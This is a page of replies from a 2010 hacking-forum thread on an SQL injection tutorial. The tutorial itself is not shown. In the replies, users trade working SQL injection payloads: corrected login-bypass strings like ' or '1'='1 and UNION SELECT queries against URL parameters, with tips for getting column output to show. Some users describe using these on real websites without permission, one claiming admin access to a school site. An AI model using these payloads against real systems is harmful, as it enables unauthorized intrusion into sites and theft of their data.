+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: Detailed Basic and Full SQL Injection Tutorial (/showthread.php?tid=50356)
* - apexmall - Aug 6, 2010
good tutorial , i like it
* - UNU_Hacker - Aug 10, 2010
Good tutorial!
Thanks Brother
* - y2gxmod - Aug 15, 2010
most detailed sql injection tut i've seen here at hf . . .
awesome!!! thanks!!!
* - Eminent - Aug 15, 2010
Thanks for the tut, I just got in as an admin on my schools website =)
* - nirved_g - Aug 16, 2010
what you had given is completely correct but quite outdated also it doesnt work anywhere
* - GayFish - Aug 18, 2010
Not bad again. Taught me a few different ways to do things.
* - stryke - Aug 18, 2010
Very good tutorial! Thank you.
* - GayFish - Aug 19, 2010
I like the "what is SQL injection part :)"
* - FaceBookHacker™ - Aug 20, 2010
The initial list of "sql injections" that you posted will not work -- syntax errors in each and every one of them (even assuming that the site/field they're injected into is vulnerable).
'or'1'='1 should be ' or '1'='1
'or'x'='x should be ' or 'x'='x (and is identical to the first)
' or 'x'='x'oe--' should be ' or 'x'='x' -- (and is identical to the first and second in nature)
'or'1=1' -- should be ' or 1=1 -- (and is identical to the first, second, and third in nature)
C|EH, ECSA, C|EI, PCI QSA
http://www.halock.com
Halock Security Labs
* - Xtr0id - Aug 21, 2010
what if when i put in "order by 1" it still gives error?
does this mean it has no columns?
(same with 0)
* - UNU_Hacker - Aug 22, 2010
Nice Tutorial for beginners Brother
* - UNU_Hacker - Aug 22, 2010
(Feb 10, 2009 08:34 AM)grasmanek94 Wrote: good tut.. i saw somewhere a vid... try this vid:Link is Dead Brother😠seems exact the same thingy ;pCodehttp://#.com/files/132125390/sql_injection.wmv
Try To Upload Another Mirror🙃
* - 3l.n1n0 - Aug 23, 2010
I'm doing as you have described in the tut.
After knowing the number of columns, http://www.xxxx.com/index.php?catid=1 union select 1,2,3,4,5,6,7--
I'm not getting the the columns which are vulnerable to attack. I'm mean the web page is not showing any numbers.
I've tried it on a number of vulnerable websites. The same problem persists. Please help!
* - PličkaMaterna - Aug 23, 2010
?catid=1 and 1=0 union all select 1,2,3,4,5,6,7--
?catid=99 union all select 1,2,3,4,5,6,7--
?catid=-1 union all select 1,2,3,4,5,6,7--
and so on.
You need to null
* - naitik333 - Aug 24, 2010
hey when i put ' after index.php? i get 404 not found error when i am logged into the site.. but when i am not logged on and i am guest.. i don't get any error... so is this site vunlerable????
can this site be hacked???